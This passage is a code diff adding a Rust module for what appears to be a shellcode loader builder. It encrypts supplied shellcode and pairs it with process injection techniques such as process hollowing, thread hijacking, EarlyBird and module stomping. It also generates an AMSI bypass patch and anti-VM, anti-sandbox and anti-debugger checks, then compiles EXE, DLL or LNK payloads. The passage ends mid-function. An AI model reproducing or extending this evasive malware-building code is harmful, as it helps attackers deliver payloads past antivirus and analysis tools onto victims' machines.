+        assert!(result.is_ok(), "Failed to generate LNK file: {:?}", result);
+        assert!(output.exists());
+
+        std::fs::remove_file(&output).ok();
+    }
+
+    #[test]
+    #[cfg(not(target_os = "windows"))]
+    fn test_generate_lnk_file_skip_non_windows() {
+        // Skipped on non-Windows platforms since PowerShell doesn't exist
+        // This is a placeholder to avoid confusion
+    }
+}

diff --git a/src/internals/loader.rs b/src/internals/loader.rs
@@ -0,0 +1,1613 @@
+use std::fs;
+use std::io;
+use std::path::{Path, PathBuf};
+use std::process::Command;
+
+use crate::cli::{BinaryFormat, EncryptionKind, Technique};
+use crate::encryption::{create_encryptor, derive_key_bytes};
+
+use super::templates::generate_decrypt_code;
+use super::templates::techniques::TechniqueGenerator;
+
+fn get_technique_generator(technique: &Technique) -> Box<dyn TechniqueGenerator> {
+    match technique {
+        Technique::CRT => Box::new(super::templates::techniques::CRTGenerator),
+        Technique::CRTx => Box::new(super::templates::techniques::CRTxGenerator),
+        Technique::EnumCalendar => Box::new(super::templates::techniques::EnumCalendarGenerator),
+        Technique::EnumWindows => Box::new(super::templates::techniques::EnumWindowsGenerator),
+        Technique::EnumSystemLocales => {
+            Box::new(super::templates::techniques::EnumSystemLocalesGenerator)
+        }
+        Technique::ImageGetDigestStream => {
+            Box::new(super::templates::techniques::ImageGetDigestStreamGenerator)
+        }
+        Technique::CreateFiber => Box::new(super::templates::techniques::CreateFiberGenerator),
+        Technique::Etwp => Box::new(super::templates::techniques::EtwpGenerator),
+        Technique::FairyLaw => Box::new(super::templates::techniques::FairyLawGenerator),
+        Technique::NtCreateThreadEx => {
+            Box::new(super::templates::techniques::NtCreateThreadExGenerator)
+        }
+        Technique::ProcessHollowing => {
+            Box::new(super::templates::techniques::ProcessHollowingGenerator)
+        }
+        Technique::QueueUserAPC => Box::new(super::templates::techniques::QueueUserAPCGenerator),
+        Technique::SetTimer => Box::new(super::templates::techniques::SetTimerGenerator),
+        Technique::Syscall => Box::new(super::templates::techniques::SyscallGenerator),
+        Technique::ModuleStomping => {
+            Box::new(super::templates::techniques::ModuleStompingGenerator)
+        }
+        Technique::ThreadHijacking => {
+            Box::new(super::templates::techniques::ThreadHijackingGenerator)
+        }
+        Technique::EarlyBird => Box::new(super::templates::techniques::EarlyBirdGenerator),
+        Technique::CreateThread => panic!("CreateThread not implemented"),
+    }
+}
+pub struct BuildConfig<'a> {
+    pub project_name: &'a str,
+    pub output_name: &'a str,
+    pub original_cwd: &'a Path,
+    pub shellcode_data: &'a [u8],
+    pub binary_format: &'a BinaryFormat,
+    pub encryption_kind: Option<&'a EncryptionKind>,
+    pub encryption_key: Option<&'a str>,
+    pub technique: &'a Technique,
+    pub process: &'a str,
+    pub with_api_hammering: bool,
+    pub with_amsi_patch: bool,
+    pub with_string_encryption: bool,
+    pub with_dynamic_function_resolver: bool,
+    pub with_anti_vm: bool,
+    pub with_anti_sandbox: bool,
+    pub with_anti_debugger: bool,
+}
+
+pub struct BuildEnv<'a> {
+    project_name: Option<&'a str>,
+    output_name: Option<&'a str>,
+    original_cwd: Option<&'a Path>,
+    shellcode_data: Option<&'a [u8]>,
+    binary_format: Option<&'a BinaryFormat>,
+    encryption_kind: Option<&'a EncryptionKind>,
+    encryption_key: Option<&'a str>,
+    technique: Option<&'a Technique>,
+    process: Option<&'a str>,
+    with_api_hammering: bool,
+    with_amsi_patch: bool,
+    with_string_encryption: bool,
+    with_dynamic_function_resolver: bool,
+    with_anti_vm: bool,
+    with_anti_sandbox: bool,
+    with_anti_debugger: bool,
+}
+
+impl<'a> BuildEnv<'a> {
+    pub fn new() -> Self {
+        Self {
+            project_name: None,
+            output_name: None,
+            original_cwd: None,
+            shellcode_data: None,
+            binary_format: None,
+            encryption_kind: None,
+            encryption_key: None,
+            technique: None,
+            process: None,
+            with_api_hammering: false,
+            with_amsi_patch: false,
+            with_string_encryption: false,
+            with_dynamic_function_resolver: false,
+            with_anti_vm: false,
+            with_anti_sandbox: false,
+            with_anti_debugger: false,
+        }
+    }
+
+    pub fn with_project_name(mut self, name: &'a str) -> Self {
+        self.project_name = Some(name);
+        self
+    }
+
+    pub fn with_output_name(mut self, name: &'a str) -> Self {
+        self.output_name = Some(name);
+        self
+    }
+
+    pub fn with_original_cwd(mut self, cwd: &'a Path) -> Self {
+        self.original_cwd = Some(cwd);
+        self
+    }
+
+    pub fn with_shellcode(mut self, data: &'a [u8]) -> Self {
+        self.shellcode_data = Some(data);
+        self
+    }
+
+    pub fn with_binary_format(mut self, format: &'a BinaryFormat) -> Self {
+        self.binary_format = Some(format);
+        self
+    }
+
+    pub fn with_encryption(mut self, kind: &'a EncryptionKind, key: &'a str) -> Self {
+        self.encryption_kind = Some(kind);
+        self.encryption_key = Some(key);
+        self
+    }
+
+    pub fn with_technique(mut self, technique: &'a Technique) -> Self {
+        self.technique = Some(technique);
+        self
+    }
+
+    pub fn with_process(mut self, process: &'a str) -> Self {
+        self.process = Some(process);
+        self
+    }
+
+    pub fn with_api_hammering(mut self, enabled: bool) -> Self {
+        self.with_api_hammering = enabled;
+        self
+    }
+
+    pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
+        self.with_amsi_patch = enabled;
+        self
+    }
+
+    pub fn with_string_encryption(mut self, enabled: bool) -> Self {
+        self.with_string_encryption = enabled;
+        self
+    }
+
+    pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
+        self.with_dynamic_function_resolver = enabled;
+        self
+    }
+
+    pub fn with_anti_vm(mut self, enabled: bool) -> Self {
+        self.with_anti_vm = enabled;
+        self
+    }
+
+    pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
+        self.with_anti_sandbox = enabled;
+        self
+    }
+
+    pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
+        self.with_anti_debugger = enabled;
+        self
+    }
+
+    pub fn build(self) -> io::Result<PathBuf> {
+        let project_name = self
+            .project_name
+            .ok_or_else(|| io::Error::other("Project name is required"))?;
+        let output_name = self
+            .output_name
+            .ok_or_else(|| io::Error::other("Output name is required"))?;
+        let original_cwd = self
+            .original_cwd
+            .ok_or_else(|| io::Error::other("Original working directory is required"))?;
+        let shellcode_data = self
+            .shellcode_data
+            .ok_or_else(|| io::Error::other("Shellcode data is required"))?;
+        let binary_format = self
+            .binary_format
+            .ok_or_else(|| io::Error::other("Binary format is required"))?;
+        let technique = self
+            .technique
+            .ok_or_else(|| io::Error::other("Technique is required"))?;
+        let process = self
+            .process
+            .ok_or_else(|| io::Error::other("Process is required"))?;
+
+        let config = BuildConfig {
+            project_name,
+            output_name,
+            original_cwd,
+            shellcode_data,
+            binary_format,
+            encryption_kind: self.encryption_kind,
+            encryption_key: self.encryption_key,
+            technique,
+            process,
+            with_api_hammering: self.with_api_hammering,
+            with_amsi_patch: self.with_amsi_patch,
+            with_string_encryption: self.with_string_encryption,
+            with_dynamic_function_resolver: self.with_dynamic_function_resolver,
+            with_anti_vm: self.with_anti_vm,
+            with_anti_sandbox: self.with_anti_sandbox,
+            with_anti_debugger: self.with_anti_debugger,
+        };
+
+        setup_and_build_project(&config)
+    }
+}
+
+impl Default for BuildEnv<'_> {
+    fn default() -> Self {
+        Self::new()
+    }
+}
+
+pub fn init_rust_project(config: &BuildConfig) -> io::Result<()> {
+    init_rust_project_with_target(config)
+}
+
+fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
+    let (encrypted_shellcode, encryption_type_str, key_bytes) = prepare_shellcode_encryption(
+        config.shellcode_data,
+        config.encryption_kind,
+        config.encryption_key,
+    )?;
+
+    write_cargo_toml(
+        config.project_name,
+        config.binary_format,
+        encryption_type_str,
+        config.with_dynamic_function_resolver,
+    )?;
+    write_cargo_config()?;
+
+    fs::create_dir_all("src")?;
+
+    let internals_source = generate_internals_with_crypto_and_strings(
+        encryption_type_str,
+        config.with_string_encryption,
+        config.with_dynamic_function_resolver,
+    )?;
+    let source_code = generate_source_code(SourceCodeParams {
+        binary_format: config.binary_format,
+        internals_source: &internals_source,
+        encryption: EncryptionParams {
+            encrypted_shellcode: &encrypted_shellcode,
+            key_bytes: &key_bytes,
+            encryption_type: encryption_type_str,
+        },
+        technique_params: TechniqueParams {
+            technique: config.technique,
+            process: config.process,
+        },
+        with_api_hammering: config.with_api_hammering,
+        with_amsi_patch: config.with_amsi_patch,
+        with_string_encryption: config.with_string_encryption,
+        with_dynamic_function_resolver: config.with_dynamic_function_resolver,
+        with_anti_vm: config.with_anti_vm,
+        with_anti_sandbox: config.with_anti_sandbox,
+        with_anti_debugger: config.with_anti_debugger,
+        encryption_kind: config.encryption_kind,
+        encryption_key: config.encryption_key,
+    })?;
+
+    let file_name = match config.binary_format {
+        BinaryFormat::Exe => "src/main.rs",
+        BinaryFormat::Dll => "src/lib.rs",
+        BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
+    };
+
+    fs::write(file_name, source_code)?;
+
+    Ok(())
+}
+
+fn prepare_shellcode_encryption(
+    shellcode_data: &[u8],
+    encryption_kind: Option<&EncryptionKind>,
+    encryption_key: Option<&str>,
+) -> io::Result<(Vec<u8>, &'static str, Vec<u8>)> {
+    match (encryption_kind, encryption_key) {
+        (Some(kind), Some(key)) => {
+            let encryptor = create_encryptor(kind.clone(), key);
+            let encrypted = encryptor
+                .encrypt(shellcode_data)
+                .map_err(|e| io::Error::other(format!("Encryption failed: {}", e)))?;
+
+            let type_str = encryption_kind_to_string(kind);
+            let key_data = derive_key_bytes(key, kind);
+            Ok((encrypted, type_str, key_data))
+        }
+        (None, None) => Err(io::Error::other(
+            "Encryption is required: both encryption kind and key must be provided",
+        )),
+        (Some(_), None) => Err(io::Error::other(
+            "Encryption key is missing: both encryption kind and key must be provided together",
+        )),
+        (None, Some(_)) => Err(io::Error::other(
+            "Encryption kind is missing: both encryption kind and key must be provided together",
+        )),
+    }
+}
+
+fn encryption_kind_to_string(kind: &EncryptionKind) -> &'static str {
+    match kind {
+        EncryptionKind::AES => "aes",
+        EncryptionKind::AES256 => "aes256",
+        EncryptionKind::Chacha20 => "chacha20",
+        EncryptionKind::XOR => "xor",
+        EncryptionKind::Blowfish => "blowfish",
+        EncryptionKind::Twofish => "twofish",
+        EncryptionKind::Camellia => "camellia",
+    }
+}
+
+fn write_cargo_toml(
+    project_name: &str,
+    binary_format: &BinaryFormat,
+    encryption_type: &str,
+    with_dynamic_resolver: bool,
+) -> io::Result<()> {
+    let dependencies =
+        super::dependencies::get_dependencies(encryption_type, with_dynamic_resolver)
+            .map_err(io::Error::other)?;
+
+    let cargo_toml = match binary_format {
+        BinaryFormat::Exe => super::templates::generate_cargo_toml_exe(project_name, &dependencies),
+        BinaryFormat::Dll => super::templates::generate_cargo_toml_dll(project_name, &dependencies),
+        BinaryFormat::Lnk => return Ok(()), // LNK doesn't need Cargo.toml
+    };
+    fs::write("Cargo.toml", cargo_toml)
+}
+
+fn write_cargo_config() -> io::Result<()> {
+    fs::create_dir_all(".cargo")?;
+    let cargo_config = super::templates::generate_cargo_config();
+    fs::write(".cargo/config.toml", cargo_config)
+}
+
+fn generate_internals_with_crypto_and_strings(
+    encryption_type: &str,
+    with_string_encryption: bool,
+    with_dynamic_resolver: bool,
+) -> io::Result<String> {
+    super::templates::generate_internals_with_api_resolver(
+        encryption_type,
+        with_string_encryption,
+        with_dynamic_resolver,
+    )
+    .map_err(io::Error::other)
+}
+
+struct EncryptionParams<'a> {
+    encrypted_shellcode: &'a [u8],
+    key_bytes: &'a [u8],
+    encryption_type: &'a str,
+}
+
+struct TechniqueParams<'a> {
+    technique: &'a Technique,
+    process: &'a str,
+}
+
+struct SourceCodeParams<'a> {
+    binary_format: &'a BinaryFormat,
+    internals_source: &'a str,
+    encryption: EncryptionParams<'a>,
+    technique_params: TechniqueParams<'a>,
+    with_api_hammering: bool,
+    with_amsi_patch: bool,
+    with_string_encryption: bool,
+    with_dynamic_function_resolver: bool,
+    with_anti_vm: bool,
+    with_anti_sandbox: bool,
+    with_anti_debugger: bool,
+    encryption_kind: Option<&'a EncryptionKind>,
+    encryption_key: Option<&'a str>,
+}
+
+fn create_string_obfuscator<'a>(
+    params: &'a SourceCodeParams,
+) -> io::Result<Box<dyn super::templates::StringObfuscation + 'a>> {
+    if !params.with_string_encryption {
+        return Ok(Box::new(super::templates::NoObfuscation));
+    }
+
+    // Note: This is a placeholder for future string encryption needs (e.g., API names)
+    // Currently no strings are encrypted in the template, but the infrastructure is ready
+    Ok(Box::new(super::templates::NoObfuscation))
+}
+
+fn generate_amsi_patch_with_encryption(
+    encryption_kind: &EncryptionKind,
+    encryption_key: &str,
+    encryption_type: &str,
+    with_string_encryption: bool,
+    with_dynamic_function_resolver: bool,
+) -> io::Result<String> {
+    if !with_string_encryption && !with_dynamic_function_resolver {
+        return Ok(super::templates::generate_amsi_patch_code());
+    }
+
+    let amsi_dll_str = "amsi.dll";
+    let amsi_scan_buffer_str = "AmsiScanBuffer";
+
+    let key = encryption_key;
+    let encryptor = create_encryptor(encryption_kind.clone(), key);
+
+    let encrypted_dll = encryptor
+        .encrypt(amsi_dll_str.as_bytes())
+        .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+    let encrypted_func = encryptor
+        .encrypt(amsi_scan_buffer_str.as_bytes())
+        .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+    let key_bytes = derive_key_bytes(key, encryption_kind);
+
+    let dll_array = format_bytes_as_array(&encrypted_dll);
+    let func_array = format_bytes_as_array(&encrypted_func);
+    let key_array = format_bytes_as_array(&key_bytes);
+
+    let decrypt_fn = match encryption_type {
+        "xor" => "internals::decrypt_xor",
+        "aes" => "internals::decrypt_aes",
+        "chacha20" => "internals::decrypt_chacha20",
+        "blowfish" => "internals::decrypt_blowfish",
+        _ => {
+            return Err(io::Error::other(format!(
+                "Unknown encryption type: {}",
+                encryption_type
+            )))
+        }
+    };
+
+    let expect_clause = if encryption_type == "xor" {
+        ""
+    } else {
+        ".expect(\"Failed to decrypt AMSI strings\")"
+    };
+
+    if with_dynamic_function_resolver {
+        // Encrypt the DLL and function names
+        let load_library_dll_encrypted = encryptor
+            .encrypt("kernel32.dll".as_bytes())
+            .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+        let load_library_fn_encrypted = encryptor
+            .encrypt("LoadLibraryA".as_bytes())
+            .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+        let get_proc_address_dll_encrypted = encryptor
+            .encrypt("kernel32.dll".as_bytes())
+            .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+        let get_proc_address_fn_encrypted = encryptor
+            .encrypt("GetProcAddress".as_bytes())
+            .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+        let virtual_protect_dll_encrypted = encryptor
+            .encrypt("kernel32.dll".as_bytes())
+            .map_err(|e| io::Error::other(format!("Failed to encrypt DLL name: {}", e)))?;
+        let virtual_protect_fn_encrypted = encryptor
+            .encrypt("VirtualProtect".as_bytes())
+            .map_err(|e| io::Error::other(format!("Failed to encrypt function name: {}", e)))?;
+
+        let load_library_resolver = super::templates::generate_dynamic_function_resolver(
+            "kernel32.dll",
+            "LoadLibraryA",
+            encryption_type,
+            "load_library_a",
+            "DECRYPTION_KEY",
+            &load_library_dll_encrypted,
+            &load_library_fn_encrypted,
+        )
+        .map_err(io::Error::other)?;
+
+        let get_proc_address_resolver = super::templates::generate_dynamic_function_resolver(
+            "kernel32.dll",
+            "GetProcAddress",
+            encryption_type,
+            "get_proc_address",
+            "DECRYPTION_KEY",
+            &get_proc_address_dll_encrypted,
+            &get_proc_address_fn_encrypted,
+        )
+        .map_err(io::Error::other)?;
+
+        let virtual_protect_resolver = super::templates::generate_dynamic_function_resolver(
+            "kernel32.dll",
+            "VirtualProtect",
+            encryption_type,
+            "virtual_protect",
+            "DECRYPTION_KEY",
+            &virtual_protect_dll_encrypted,
+            &virtual_protect_fn_encrypted,
+        )
+        .map_err(io::Error::other)?;
+
+        let load_library_cast = super::templates::generate_function_type_and_cast(
+            "load_library_a",
+            "unsafe extern \"system\" fn(*const u8) -> *mut std::ffi::c_void",
+        );
+
+        let get_proc_address_cast = super::templates::generate_function_type_and_cast(
+            "get_proc_address",
+            "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const u8) -> *mut std::ffi::c_void"
+        );
+
+        let virtual_protect_cast = super::templates::generate_function_type_and_cast(
+            "virtual_protect",
+            "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *mut u32) -> i32",
+        );
+
+        let dll_resolver = format!(
+            r#"const ENCRYPTED_AMSI_DLL: &[u8] = &{};
+        let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, &DECRYPTION_KEY){};"#,
+            dll_array, decrypt_fn, expect_clause
+        );
+
+        let func_resolver = format!(
+            r#"const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
+        let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, &DECRYPTION_KEY){};"#,
+            func_array, decrypt_fn, expect_clause
+        );
+
+        Ok(
+            super::templates::generate_amsi_patch_code_with_dynamic_resolver(
+                super::templates::AmsiDynamicResolverParams {
+                    dll_resolver: &dll_resolver,
+                    func_resolver: &func_resolver,
+                    load_library_resolver: &load_library_resolver,
+                    load_library_cast: &load_library_cast,
+                    get_proc_address_resolver: &get_proc_address_resolver,
+                    get_proc_address_cast: &get_proc_address_cast,
+                    virtual_protect_resolver: &virtual_protect_resolver,
+                    virtual_protect_cast: &virtual_protect_cast,
+                },
+            ),
+        )
+    } else {
+        Ok(
+            super::templates::generate_amsi_patch_code_with_string_encryption(
+                &dll_array,
+                &func_array,
+                &key_array,
+                decrypt_fn,
+                expect_clause,
+            ),
+        )
+    }
+}
+
+fn encrypt_string_for_evasion(
+    s: &str,
+    encryptor: &dyn crate::encryption::Encryptor,
+) -> io::Result<String> {
+    let encrypted = encryptor
+        .encrypt(s.as_bytes())
+        .map_err(|e| io::Error::other(format!("Failed to encrypt string: {}", e)))?;
+    Ok(format_bytes_as_array(&encrypted))
+}
+
+const SANDBOX_CHECK_PATH: &str = "C:\\Windows\\System32";
+
+fn generate_evasion_code_with_encryption(
+    params: &SourceCodeParams,
+    encryptor: &dyn crate::encryption::Encryptor,
+) -> io::Result<String> {
+    let mut evasion_code = String::new();
+    evasion_code.push_str(&crate::evasion::generate_evasion_externs());
+
+    let decrypt_fn = super::templates::get_decrypt_function(params.encryption.encryption_type)
+        .map_err(io::Error::other)?;
+    let expect_clause = super::templates::get_expect_clause(params.encryption.encryption_type);
+
+    if params.with_anti_vm {
+        let vm_dlls = [
+            "vmGuestLib.dll\0",
+            "vboxmrxnp.dll\0",
+            "VBoxHook.dll\0",
+            "vmmouse.sys\0",
+            "vmhgfs.dll\0",
+        ];
+        let vm_dll_arrays: Vec<String> = vm_dlls
+            .iter()
+            .map(|s| encrypt_string_for_evasion(s, encryptor))
+            .collect::<Result<Vec<_>, _>>()?;
+
+        let vm_registry_keys = [
+            r"HKLM\SYSTEM\ControlSet001\Services\VBoxGuest",
+            r"HKLM\SYSTEM\ControlSet001\Services\VBoxMouse",
+            r"HKLM\SYSTEM\ControlSet001\Services\VBoxService",
+            r"HKLM\SYSTEM\ControlSet001\Services\vmtools",
+            r"HKLM\SYSTEM\ControlSet001\Services\vmmouse",
+            r"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0",
+        ];
+        let vm_registry_arrays: Vec<String> = vm_registry_keys
+            .iter()
+            .map(|s| encrypt_string_for_evasion(s, encryptor))
+            .collect::<Result<Vec<_>, _>>()?;
+
+        let vm_processes = [
+            "vmtoolsd.exe",
+            "vmwaretray.exe",
+            "vmwareuser.exe",
+            "VGAuthService.exe",
+            "vmacthlp.exe",
+            "vboxservice.exe",
+            "vboxtray.exe",
+            "xenservice.exe",
+            "qemu-ga.exe",
+        ];
+        let vm_process_arrays: Vec<String> = vm_processes
+            .iter()
+            .map(|s| encrypt_string_for_evasion(s, encryptor))
+            .collect::<Result<Vec<_>, _>>()?;
+
+        let vm_vendors = ["vmware", "virtualbox", "qemu", "xen", "hyper-v"];
+        let vm_vendor_arrays: Vec<String> = vm_vendors
+            .iter()
+            .map(|s| encrypt_string_for_evasion(s, encryptor))
+            .collect::<Result<Vec<_>, _>>()?;
+
+        evasion_code.push_str(&crate::evasion::anti_vm_checks_with_encryption(
+            &vm_dll_arrays,
+            &vm_registry_arrays,
+            &vm_process_arrays,
+            &vm_vendor_arrays,
+            decrypt_fn,
+            expect_clause,
+        ));
+    }
+
+    if params.with_anti_sandbox {
+        let file_path_array = encrypt_string_for_evasion(SANDBOX_CHECK_PATH, encryptor)?;
+        evasion_code.push_str(&crate::evasion::anti_sandbox_checks_with_encryption(
+            &file_path_array,
+            decrypt_fn,
+            expect_clause,
+        ));
+    }
+
+    if params.with_anti_debugger {
+        let debugger_parents = [
+            "devenv.exe",
+            "windbg.exe",
+            "x64dbg.exe",
+            "ollydbg.exe",
+            "ida64.exe",
+        ];
+        let debugger_parent_arrays: Vec<String> = debugger_parents
+            .iter()
+            .map(|s| encrypt_string_for_evasion(s, encryptor))
+            .collect::<Result<Vec<_>, _>>()?;
+
+        evasion_code.push_str(&crate::evasion::anti_debugger_checks_with_encryption(
+            &debugger_parent_arrays,
+            decrypt_fn,
+            expect_clause,
+        ));
+    }
+
+    Ok(evasion_code)
+}
+
+fn generate_source_code(params: SourceCodeParams) -> io::Result<String> {
+    let shellcode_array = format_bytes_as_array(params.encryption.encrypted_shellcode);
+    let key_array = if !params.encryption.key_bytes.is_empty() {
+        format_bytes_as_array(params.encryption.key_bytes)
+    } else {
+        "[]".to_string()
+    };
+    let decrypt_code = generate_decrypt_code(params.encryption.encryption_type);
+
+    let function_name = super::templates::generate_random_function_name();
+
+    let generator = get_technique_generator(params.technique_params.technique);
+
+    let technique_code = if params.with_dynamic_function_resolver {
+        if let (Some(encryption_kind), Some(encryption_key)) =
+            (params.encryption_kind, params.encryption_key)
+        {
+            let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
+            generator.generate_code_with_dynamic_resolver(
+                params.technique_params.process,
+                &function_name,
+                params.encryption.encryption_type,
+                encryptor.as_ref(),
+            )
+        } else {
+            return Err(io::Error::other(
+                "Encryption kind and key required for dynamic function resolver",
+            ));
+        }
+    } else if params.with_api_hammering {
+        generator.generate_code_with_hammering(params.technique_params.process, &function_name)
+    } else {
+        generator.generate_code(params.technique_params.process, &function_name)
+    };
+
+    let technique_code = generator.add_debug_context(technique_code);
+
+    if let Err(errors) = generator.validate_generated_code(&technique_code) {
+        let error_messages: Vec<String> = errors.iter().map(|e| e.to_string()).collect();
+        return Err(io::Error::other(format!(
+            "Generated code validation failed for technique '{}': {}",
+            generator.name(),
+            error_messages.join("; ")
+        )));
+    }
+
+    let string_obfuscator = create_string_obfuscator(&params)?;
+
+    let amsi_patch_code = if params.with_amsi_patch {
+        if let (Some(encryption_kind), Some(encryption_key)) =
+            (params.encryption_kind, params.encryption_key)
+        {
+            generate_amsi_patch_with_encryption(
+                encryption_kind,
+                encryption_key,
+                params.encryption.encryption_type,
+                params.with_string_encryption,
+                params.with_dynamic_function_resolver,
+            )?
+        } else {
+            super::templates::generate_amsi_patch_code()
+        }
+    } else {
+        String::new()
+    };
+
+    let evasion_code =
+        if params.with_anti_vm || params.with_anti_sandbox || params.with_anti_debugger {
+            if params.with_string_encryption {
+                if let (Some(encryption_kind), Some(encryption_key)) =
+                    (params.encryption_kind, params.encryption_key)
+                {
+                    let encryptor = create_encryptor(encryption_kind.clone(), encryption_key);
+                    generate_evasion_code_with_encryption(&params, encryptor.as_ref())?
+                } else {
+                    return Err(io::Error::other(
+                        "Encryption kind and key required for evasion string encryption",
+                    ));
+                }
+            } else {
+                let mut code = String::new();
+                code.push_str(&crate::evasion::generate_evasion_externs());
+                if params.with_anti_vm {
+                    code.push_str(&crate::evasion::anti_vm_checks());
+                }
+                if params.with_anti_sandbox {
+                    code.push_str(&crate::evasion::anti_sandbox_checks());
+                }
+                if params.with_anti_debugger {
+                    code.push_str(&crate::evasion::anti_debugger_checks());
+                }
+                code
+            }
+        } else {
+            String::new()
+        };
+
+    let template_config = super::templates::TemplateConfig::builder()
+        .internals_source(params.internals_source)
+        .shellcode_array(&shellcode_array)
+        .key_array(&key_array)
+        .decrypt_code(&decrypt_code)
+        .technique_code(&technique_code)
+        .technique_function_name(&function_name)
+        .with_api_hammering(params.with_api_hammering)
+        .with_amsi_patch(params.with_amsi_patch)
+        .with_string_encryption(params.with_string_encryption)
+        .with_dynamic_function_resolver(params.with_dynamic_function_resolver)
+        .with_anti_vm(params.with_anti_vm)
+        .with_anti_sandbox(params.with_anti_sandbox)
+        .with_anti_debugger(params.with_anti_debugger)
+        .encryption_type(params.encryption.encryption_type)
+        .amsi_patch_code(&amsi_patch_code)
+        .evasion_code(&evasion_code)
+        .string_obfuscator(string_obfuscator)
+        .build();
+
+    Ok(match params.binary_format {
+        BinaryFormat::Exe => super::templates::generate_exe_main_template(&template_config),
+        BinaryFormat::Dll => super::templates::generate_dll_lib_template(&template_config),
+        BinaryFormat::Lnk => String::new(), // LNK doesn't need source code
+    })
+}
+
+fn format_bytes_as_array(bytes: &[u8]) -> String {
+    if bytes.is_empty() {
+        return "[]".to_string();
+    }
+
+    use std::fmt::Write;
+    let mut result = String::with_capacity(bytes.len() * 6 + 2);
+    result.push('[');
+
+    for (i, byte) in bytes.iter().enumerate() {
+        if i > 0 {
+            result.push_str(", ");
+        }
+        write!(result, "0x{:02x}", byte).unwrap();
+    }
+
+    result.push(']');
+    result
+}
+
+/// Verify that a binary was built successfully
+///
+/// Uses the goblin crate to parse and verify the binary format.
+/// With Cargo's profile.release.strip = true, binaries are automatically
+/// stripped during compilation, so no post-processing is needed.
+///
+/// Works cross-platform (Linux/ELF, macOS/Mach-O, Windows/PE).
+///
+/// # Arguments
+///
+/// * `binary_path` - Path to the binary to verify
+///
+/// Returns `Ok(())` if the binary is valid, otherwise returns an error.
+pub fn verify_binary(binary_path: &Path) -> io::Result<()> {
+    let binary_data = fs::read(binary_path)?;
+
+    goblin::Object::parse(&binary_data)
+        .map_err(|e| io::Error::other(format!("Failed to parse binary: {}", e)))?;
+
+    Ok(())
+}
+
+/// Build the Rust project in release mode
+///
+/// Executes `cargo build --release` in the current directory.
+/// The compiled binary will be in `target/release/`.
+///
+/// # Arguments
+///
+/// * `project_name` - The name of the project (used to find the binary)
+/// * `binary_format` - The binary format (EXE or DLL)
+///
+/// Returns the path to the compiled binary if successful, otherwise returns an error.
+pub fn build_release(project_name: &str, binary_format: &BinaryFormat) -> io::Result<PathBuf> {
+    // LNK files are generated directly, no build needed
+    if matches!(binary_format, BinaryFormat::Lnk) {
+        return Ok(PathBuf::from(format!("{}.lnk", project_name)));
+    }
+
+    let output = Command::new("cargo")
+        .arg("build")
+        .arg("--release")
+        .output()?;
+
+    if !output.status.success() {
+        let stderr = String::from_utf8_lossy(&output.stderr);
+        return Err(io::Error::other(format!("cargo build failed: {}", stderr)));
+    }
+
+    let has_windows_target = Path::new(".cargo/config.toml").exists();
+
+    let binary_name = if has_windows_target {
+        match binary_format {
+            BinaryFormat::Exe => format!("{}.exe", project_name),
+            BinaryFormat::Dll => format!("{}.dll", project_name),
+            BinaryFormat::Lnk => format!("{}.lnk", project_name),
+        }
+    } else {
+        match binary_format {
+            BinaryFormat::Exe => {
+                if cfg!(target_os = "windows") {
+                    format!("{}.exe", project_name)
+                } else {
+                    project_name.to_string()
+                }
+            }
+            BinaryFormat::Dll => {
+                if cfg!(target_os = "windows") {
+                    format!("{}.dll", project_name)
+                } else if cfg!(target_os = "macos") {
+                    format!("lib{}.dylib", project_name)
+                } else {
+                    format!("lib{}.so", project_name)
+                }
+            }
+            BinaryFormat::Lnk => format!("{}.lnk", project_name),
+        }
+    };
+
+    let binary_path = if has_windows_target {
+        PathBuf::from("target")
+            .join("x86_64-pc-windows-gnu")
+            .join("release")
+            .join(&binary_name)
+    } else {
+        PathBuf::from("target").join("release").join(&binary_name)
+    };
+
+    if !binary_path.exists() {
+        return Err(io::Error::new(
+            io::ErrorKind::NotFound,
+            format!("Binary not found at {:?}", binary_path),
+        ));
+    }
+
+    Ok(binary_path)
+}
+
+/// Copy a binary to a target location with a specific name
+///
+/// # Arguments
+///
+/// * `source` - Path to the source binary
+/// * `dest_dir` - Directory where the binary should be copied
+/// * `dest_name` - Name for the copied binary
+///
+/// Returns the path to the copied binary if successful, otherwise returns an error.
+pub fn copy_binary(source: &Path, dest_dir: &Path, dest_name: &str) -> io::Result<PathBuf> {
+    let dest_path = dest_dir.join(dest_name);
+    fs::copy(source, &dest_path)?;
+
+    Ok(dest_path)
+}
+
+/// Complete workflow: initialize, build, and copy a Rust project
+///
+/// This is the main entry point that orchestrates the entire process:
+/// 1. Initializes a Rust project with release profile configured for stripping
+/// 2. Builds it in release mode (symbols are automatically stripped by Cargo)
+/// 3. Verifies the binary is valid
+/// 4. Copies the binary to the original working directory with the specified name
+///
+/// Note: Symbol stripping is handled by Cargo's profile.release.strip = true setting,
+/// so binaries are automatically stripped during compilation without needing post-processing.
+///
+/// # Arguments
+///
+/// * `config` - Build configuration containing all necessary parameters
+///
+/// Returns the path to the final binary if successful, otherwise returns an error.
+pub fn setup_and_build_project(config: &BuildConfig) -> io::Result<PathBuf> {
+    if matches!(config.binary_format, BinaryFormat::Lnk) {
+        let (encrypted_shellcode, _encryption_type_str, _key_bytes) = prepare_shellcode_encryption(
+            config.shellcode_data,
+            config.encryption_kind,
+            config.encryption_key,
+        )?;
+
+        let lnk_path = std::env::current_dir()?.join(config.output_name);
+
